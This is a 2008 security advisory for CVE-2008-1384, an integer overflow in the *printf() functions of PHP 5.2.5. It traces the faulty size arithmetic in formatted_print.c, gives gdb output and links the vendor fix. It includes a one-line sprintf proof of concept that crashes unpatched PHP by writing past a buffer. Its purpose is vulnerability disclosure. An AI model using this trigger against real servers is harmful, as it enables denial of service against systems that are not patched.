[PHP 5.2.5 and prior : *printf() functions Integer Overflow ] Author: Maksymilian Arciemowicz - - Written: 01.03.2008 - - Public: 20.03.2008 CVE-2008-1384 Risk: Low Affected Software: PHP 5.2.5 and prior Vendor: http://www.php.net - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. These functions all manipulate strings in various ways. Some more specialized sections can be found in the regular expression and URL handling sections. For information on how strings behave, especially with regard to usage of single quotes, double quotes, and escape sequences, see the Strings entry in the Types section of the manual. - --- 1. *printf() functions Integer Overflow --- The main problem exists in formatted_print.c file. cxib# uname -a FreeBSD cxib.laptop 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 cxib# php -v PHP 5.2.5 (cli) (built: Mar 13 2008 21:34:01) (DEBUG) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies cxib# cat /www/printf.php <? sprintf("[%'A2147483646s]\n", "A"); ?> cxib# php /www/printf.php Segmentation fault (core dumped) Good. Let's see to formatted_print.c file in php_sprintf_appendstring() function - ---formatted_print.c-start--- inline static void php_sprintf_appendstring(char **buffer, int *pos, int *size, char *add, int min_width, int max_width, char padding, int alignment, int len, int neg, int expprec, int always_sign) - ---formatted_print.c-end--- The main varible what we will see is "npad" - ---formatted_print.c-start--- copy_len = (expprec ? MIN(max_width, len) : len); npad = min_width - copy_len; - ---formatted_print.c-end--- good. npad is 2147483646 - ---formatted_print.c-start--- req_size = *pos + MAX(min_width, copy_len) + 1; - ---formatted_print.c-end--- req_size overflow - ---formatted_print.c-start--- if (req_size > *size) { while (req_size > *size) { *size <<= 1; } PRINTF_DEBUG(("sprintf ereallocing buffer to %d bytes\n", *size)); *buffer = erealloc(*buffer, *size); } - ---formatted_print.c-end--- (req_size > *size) is False (alignment == ALIGN_RIGHT) is True so - ---formatted_print.c-start--- while (npad-- > 0) { (*buffer)[(*pos)++] = padding; } - ---formatted_print.c-end--- and finish. Let's debug it with gdb - --- Debug --- 0x08295ba5 in php_sprintf_appendstring (buffer=0xbfbfd318, pos=0xbfbfd31c, size=0xbfbfd324, add=0x28f20404 'A' <repeats 200 times>..., min_width=2147483646, max_width=0, padding=65 'A', alignment=1, len=1, neg=0, expprec=0, always_sign=0) ... 0x290fff0c: 'A' <repeats 200 times>... 0x290fffd4: 'A' <repeats 44 times> <Error reading address 0x29100000: Bad address> 0x29100000: <Error reading address 0x29100000: Bad address> - --- Debug --- Script will alocated a lot of data to memory. Tested on: PHP 5.2.5 cxib# uname -a FreeBSD cxib.laptop 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 and PHP 5.1.6 someone@ultra ~ $ uname -a NetBSD ultra 3.0.1 NetBSD 3.0.1 (GENERIC) #0: Fri Jul 14 03:47:28 UTC 2006 riz@b2.netbsd.org:/home/builds/ab/netbsd-3-0-1-RELEASE/sparc64/200607131826Z-obj/home/builds/ab/netbsd-3-0-1-RELEASE/src/sys/arch/sparc64/compile/GENERIC sparc64 - --- 2. Exploit --- N/A - --- 3. How to fix --- CVS http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1120&view=markup - --- 4. Greets --- Stanislav Malyshev (Patch) - --- 5. Contact --- Author: Maksymilian Arciemowicz